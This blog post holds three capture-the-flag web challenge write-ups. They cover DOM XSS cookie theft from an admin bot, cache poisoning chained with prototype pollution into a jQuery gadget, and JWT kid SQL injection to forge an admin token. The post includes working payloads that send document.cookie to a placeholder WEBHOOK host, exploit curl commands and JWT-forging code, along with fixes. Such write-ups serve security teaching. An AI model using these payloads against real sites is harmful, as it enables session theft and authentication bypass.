Abderrahmane Abdoullah

Three Flags, Three Chains — HTB Web Writeups

Mon, 31 Aug 2026 00:00:00 GMT

Three HTB-style web challenges, each a small ransomware-as-a-service panel guarded by a headless admin bot. Three different roads to the flag — a DOM sink, a forged token, and a poisoned cache. Full source-to-shell walkthroughs:

Paid Forums — DOM XSS → admin-bot cookie theft. A custom URL parser drops ?search= into innerHTML; a crafted report ID makes the bot open it.
Majestic Sales — JWT kid SQLi → forged admin token. The verification secret is looked up from the DB using the token's own kid; a UNION SELECT supplies the verifying key.
REgregious — cache poisoning → prototype pollution → XSS. A three-bug chain that plants poison under the bot's cache key and detonates it through a jQuery 3.6.0 gadget.

Stack: Node · Express · nunjucks · SQLite · Puppeteer bots.

Only the REgregious flag is shown in full — captured live this session. The other two flag strings were retrieved in an earlier session; the vulnerabilities, payloads, and exploitation paths are reproduced in full from source.

Paid Forums — DOM XSS → Admin Bot Cookie Theft

Mon, 31 Aug 2026 00:00:00 GMT

Target: http://154.57.164.82:30373 · Express · nunjucks · SQLite · Puppeteer bot Vuln: DOM-based XSS · Severity: High One of three HTB-style web challenges — each a small ransomware-as-a-service panel guarded by a headless admin bot.

Gist

The client parses the URL with a home-grown parseParams() and drops ?search= straight into innerHTML. The abuse-report feature makes an admin bot open an attacker-chosen path under /posts/ while holding the flag cookie — so a crafted report ID delivers the XSS to the bot and exfiltrates its cookie.

The sink

Server-side rendering is safe — nunjucks runs with autoescape: true. The bug is entirely client-side, in static/js/forum.js, which runs on every page (including /posts/:id):

// static/js/forum.js
window.onload = () => {
  // ...
  let params = parseParams(location.href);
  if (params.hasOwnProperty('search')) {
    $('#search-res').style.display = 'block';
    $('#search-msg').innerHTML = `Search results for "${params.search}" :`;  // <-- sink
  }
}

params.search comes from parseParams(location.href), a custom query parser, and is written to innerHTML with no encoding — a textbook DOM XSS. Any page that includes forum.js and reads location is vulnerable, and post.html ships both the script and the #search-msg element.

Reaching the bot

The flag lives in the admin bot's cookie (domain: 127.0.0.1:1337, no HttpOnly → readable from JS). The report endpoint drives that bot:

// route: only parseInt() is checked server-side
router.get('/posts/:id', (req, res) => {
  const { id } = req.params;
  if (!isNaN(parseInt(id))) { /* render post.html for parseInt(id) */ }
});

// bot.js — id is concatenated into the URL, unvalidated
await page.setCookie({ name: "flag", value: "HTB{...}", domain: "127.0.0.1:1337" });
await page.goto(`http://127.0.0.1:1337/posts/${id}`, { waitUntil: 'networkidle2' });

The server only calls parseInt(id), but the bot navigates to the raw /posts/${id} string. So an ID like 1?search=<payload> resolves to post 1 server-side (parseInt("1") === 1) while the browser lands on a URL whose ?search= query fires the sink.

Exploit

Craft a report ID that carries the payload as a query string on a valid post:

1?search=<img src=x onerror="new Image().src='//WEBHOOK/?c='+encodeURIComponent(document.cookie)">

Submit it to the report endpoint so the admin bot opens it:

curl -s http://154.57.164.82:30373/api/report \
  -H 'Content-Type: application/json' \
  --data-raw '{"id":"1?search=<img src=x onerror=...>"}'

The bot loads /posts/1?search=…, forum.js writes the payload into #search-msg, and onerror beacons document.cookie (flag included) to the collector.

Flag

HTB{…captured via bot cookie exfil…}

Takeaways

Server-side validation (parseInt) and client-side navigation disagreed on what the ID is — the classic parser-differential that turns a validated route into an XSS delivery vector.
A non-HttpOnly cookie plus a headless admin bot is a cookie-theft chain waiting to happen.
Fix: encode before innerHTML (or use textContent); validate the full ID string, not just its numeric prefix; set HttpOnly on session/flag cookies.

REgregious — Cache Poisoning → Prototype Pollution → XSS

Mon, 31 Aug 2026 00:00:00 GMT

Target: http://154.57.164.68:30829 · Express · node-cache · jQuery 3.6.0 · Puppeteer bot Vuln: Web cache poisoning + prototype pollution + XSS (3-bug chain) · Severity: Critical

Gist

The settings cache is keyed on the unkeyed Host and X-Forwarded-For headers, so you can plant your settings under the exact key the bot reads. Those settings pass through a recursive merge with no guard → client-side prototype pollution. Polluting context + jquery triggers a jQuery gadget that runs on the bot's next $.ajax, injecting an <img onerror> and stealing the flag cookie.

Bug 1 — cache poisoning (unkeyed inputs)

// routes/index.js — GET /api/settings
cacheKey = `_${req.headers.host}_${req.url}_${(req.headers['x-forwarded-for'] || req.ip)}`;
if (cache.has(cacheKey)) return res.send(JSON.parse(cache.get(cacheKey)));
return db.getUser(req.data.username).then(user => {
  cache.set(cacheKey, user.settings);   // caches THIS user's settings under an attacker-shaped key
  res.send(JSON.parse(user.settings));
});

The bot fetches /api/settings from http://127.0.0.1:1337/ with no X-Forwarded-For, so its key is _127.0.0.1:1337_/api/settings_127.0.0.1. Sending Host: 127.0.0.1:1337 and X-Forwarded-For: 127.0.0.1 on my authenticated request reproduces that key exactly — and caches my saved settings there.

Bug 2 — prototype pollution (unsafe merge)

The saved settings survive the round-trip verbatim, including __proto__. The bot's restoreSettings() feeds them into a naive recursive merge:

// static/js/main.js — mergeSettings()
const mergeSettings = (target, source) => {
  for (let key in source) {
    if ((typeof target[key] === 'object') && (typeof source[key] === 'object'))
      mergeSettings(target[key], source[key]);   // key === "__proto__" → walks onto Object.prototype
    else target[key] = source[key];
  }
  return target;
};

With source = {"__proto__": {…}}, the recursion lands on Object.prototype and writes attacker keys onto it for the whole page.

Bug 3 — jQuery 3.6.0 PP → XSS gadget

Unlike url, the ajax context option isn't set on the buildStub call, so it's read from the (polluted) prototype. jQuery's ajax init contains:

// jquery-3.6.0.js — jQuery.ajax (line ~9420)
callbackContext = s.context || s,
globalEventContext = s.context &&
  ( callbackContext.nodeType || callbackContext.jquery ) ?
    jQuery( callbackContext ) :   // jQuery("<img src=x onerror=...>") → parses & loads → XSS
    jQuery.event,

Pollute context with an HTML string and jquery with any truthy value: s.context is truthy and callbackContext.jquery resolves to the polluted value, so jQuery runs jQuery("<img src=x onerror=…>"), which parses the markup and fires onerror. The bot clicks Build The Stub after restore, its $.ajax runs — and the gadget executes.

Exploit

Poison payload (saved as the attacker's settings):

{
  "ico_url": "x",
  "__proto__": {
    "context": "<img src=x onerror=\"new Image().src='//WEBHOOK/?c='+encodeURIComponent(document.cookie)\">",
    "jquery": "1"
  }
}

Grab an anonymous session (GET / auto-registers a user).
POST /api/settings with the poison body, sending Host: 127.0.0.1:1337 + X-Forwarded-For: 127.0.0.1. This saves the poison to your row and deletes any stale entry under the bot's cache key.
GET /api/settings with the same Host + XFF → cache miss → your poison is now cached under the bot's key. (Verified the response echoes the onerror payload.)
GET /api/stub/build to trigger the bot. It loads the page, restoreSettings() pulls the poison from cache → pollution → the Build click's $.ajax fires the gadget → cookie exfiltrated.
```
c = session=eyJ...; flag=HTB{p0is0n_4nd_p0llu7i0n_i5_7his_a_s0rc3ry?}
```

Gotcha: Earlier attempts looked like __proto__ was being stripped — it wasn't. The server round-trips it fine; the confusion was reading a stale cache entry under a different key. Prime the exact key immediately before triggering the bot (60s TTL).

Flag

HTB{p0is0n_4nd_p0llu7i0n_i5_7his_a_s0rc3ry?}

Takeaways

Three individually-limited bugs chain into a critical: the cache poison delivers the pollution to the victim, and the jQuery gadget converts pollution into code execution.
Unkeyed request inputs (Host, X-Forwarded-For) in a cache key let one user's data land under another's key — the essence of web cache poisoning.
Fix: never build cache keys from attacker-controlled headers; guard recursive merges against __proto__/constructor/prototype; keep client libraries patched (jQuery ≥ 3.7 hardened this gadget).

Majestic Sales — JWT kid SQLi → Forged Admin Token

Mon, 31 Aug 2026 00:00:00 GMT

Target: http://154.57.164.82:32051 · Express · JWT (HS256) · multi-tenant · SQLite Vuln: SQL injection via JWT kid header · Severity: Critical

Gist

The JWT verification secret is fetched from the database using the token's own kid header — concatenated into a raw SQL string. A UNION SELECT in kid makes the server return a secret you chose, so you can forge a token as admin that verifies against your own key. The admin dashboard then reads /flag.

The vulnerable lookup

The app is multi-tenant: each tenant has a kid, a tenant name, and an HMAC secret. Login signs a JWT with that tenant's secret and stamps the kid into the header. On every authenticated request the middleware reads the kid back from the untrusted token and looks up the secret:

// database.js — getAppKey()
async getAppKey(kid) {
  // TODO: add parametrization
  let query = `SELECT * FROM app_config WHERE kid = '${kid}';`;  // <-- SQLi
  return await this.db.get(query);
}

// middleware/AuthMiddleware.js (flow)
JWTHelper.getKid(req.cookies.session)   // = jwt.decode(token).header.kid  → attacker-controlled
  .then(kid => db.getAppKey(kid)        // SQLi here
  .then(appKey => JWTHelper.verify(token, appKey.secret)  // verifies with the row we returned
  .then(data => { req.data = { username: data.username, tenant: data.tenant }; next(); })));

The kid header is just base64 in the JWT — no signature is needed to set it. Because getAppKey returns the secret used to verify the very same token, controlling the query output means controlling the verification key.

The payoff

// routes/index.js — /dashboard
if (user.username == "admin") flag = fs.readFileSync('/flag', 'utf8');

So the goal is simply a token that (a) verifies and (b) has username: "admin". We supply both the payload and the verifying secret via the injection.

Exploit

Pick an arbitrary secret you know, e.g. pwn. Build a JWT whose header kid injects a UNION SELECT returning that secret:
```
' UNION SELECT 'x','admin','pwn'-- -
```
The resulting query becomes SELECT * FROM app_config WHERE kid = '' UNION SELECT 'x','admin','pwn'-- -', yielding a row with secret = "pwn".

Sign the token with HS256 using pwn, payload { "username": "admin", "tenant": "gr_office" }, and that kid in the header:

const jwt = require('jsonwebtoken');
const kid = "' UNION SELECT 'x','admin','pwn'-- -";
const token = jwt.sign(
  { username: 'admin', tenant: 'gr_office' },
  'pwn', { algorithm: 'HS256', header: { kid } });

Send it as the session cookie to /dashboard. The middleware returns our injected secret, the token verifies, username === "admin", and the response renders the flag:
```
curl -s http://154.57.164.82:32051/dashboard -H "Cookie: session=$token" | grep -o 'HTB{[^}]*}'
```

Note: The tenant secrets are random per-deploy — brute force is hopeless. The SQLi sidesteps them entirely by supplying the verifying key itself.

Flag

HTB{…captured via forged admin JWT…}

Takeaways

Deriving the verification key from an attacker-controlled token field (kid) is the root sin — it turns any read primitive into full auth bypass.
The SQLi didn't need to exfiltrate anything; the UNION SELECT output is the secret the app then trusts.
Fix: parameterize the kid lookup; treat kid as an opaque identifier validated against a known set; never let untrusted input choose the verification key.